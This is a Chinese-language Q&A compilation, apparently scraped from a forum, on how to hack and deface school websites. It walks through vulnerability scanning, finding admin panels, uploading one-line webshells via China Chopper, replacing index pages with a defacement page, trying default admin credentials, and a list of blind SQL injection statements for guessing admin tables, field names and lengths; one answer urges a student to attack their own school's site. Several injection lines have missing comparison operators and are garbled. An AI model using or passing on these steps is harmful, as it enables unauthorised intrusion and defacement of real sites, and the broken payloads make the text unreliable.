文章大纲：

• 1、如何黑掉一个学校网站
• 2、入侵后怎么在主页上挂黑页？就是别人打开看到的主页就是我挂上的黑页。
• 3、挂黑页详细步骤
• 4、手机怎么入侵学校网站（要详细）
• 5、网站被挂黑页了 求大神解决
• 6、网站注入，由于学校的作业要求用SQL注入网站，使用inurl:?id=，但是我到现在还找不到，麻烦帮帮忙

如何黑掉一个学校网站

首先收集相关信息。

然后awvs扫描漏洞

常规洞为:sql注入 xss csrf ssrf 文件包含 上传漏洞。。。

然后 御剑扫后台

传一句话

上菜刀

传大马

然后就可以愉快的挂黑页了。。。

入侵后怎么在主页上挂黑页？就是别人打开看到的主页就是我挂上的黑页。

要有权限 首先改首页直接把原来的index那个首页文件删除因为所以网站首页文件默认名100%是index的然后把你的黑页名改成index后缀看网页类型 asp的就改成index.asp php的就改成index.php html的也一样了 然后上传 然后你再访问他网站首页就是你自己的页面了

挂黑页详细步骤

网马 进入后台 获取管理员权限后将主页更改成自己想要的就行了 软件：”中国菜刀“

手机怎么入侵学校网站（要详细）

有很多 *** ，比如弱口令，网址后加/admin.php之类的，密码大多是123456或者admin

账号admin

，也可以上传木马文件（百度一句话木马）移动菜刀链接后台，查找密码进去，或者挂黑页［安卓手机都可以办到的］如果有root就可以用些工具

网站被挂黑页了 求大神解决

好像有网站挂马格式的

还有什么网马生成器之类的 不知道现在用的什么 ***

网站注入，由于学校的作业要求用SQL注入网站，使用inurl:?id=，但是我到现在还找不到，麻烦帮帮忙

楼主可以去注入你们学校的网站并挂黑页

常用注入语句

1.判断有无注入点

' ; and 1=1 and 1=2

2.猜表: 常见的表:admin adminuser user pass password 等..

and 0(select count(*) from *)

and 0(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0 返回正确页面 1返回错误页面说明帐号数目就是1个

and 0(select count(*) from admin)

and 1(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count(*) from admin where len(*) 0)--

and 1=(select count(*) from admin where len(用户字段名称name)0)

and 1=(select count(*) from admin where len(_blank密码字段名称password)0)

5.猜解各个字段的长度 猜解长度就是把0变换 直到返回正确页面为止

and 1=(select count(*) from admin where len(*)0)

and 1=(select count(*) from admin where len(name)6) 错误

and 1=(select count(*) from admin where len(name)5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)11) 正确

and 1=(select count(*) from admin where len(password)12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确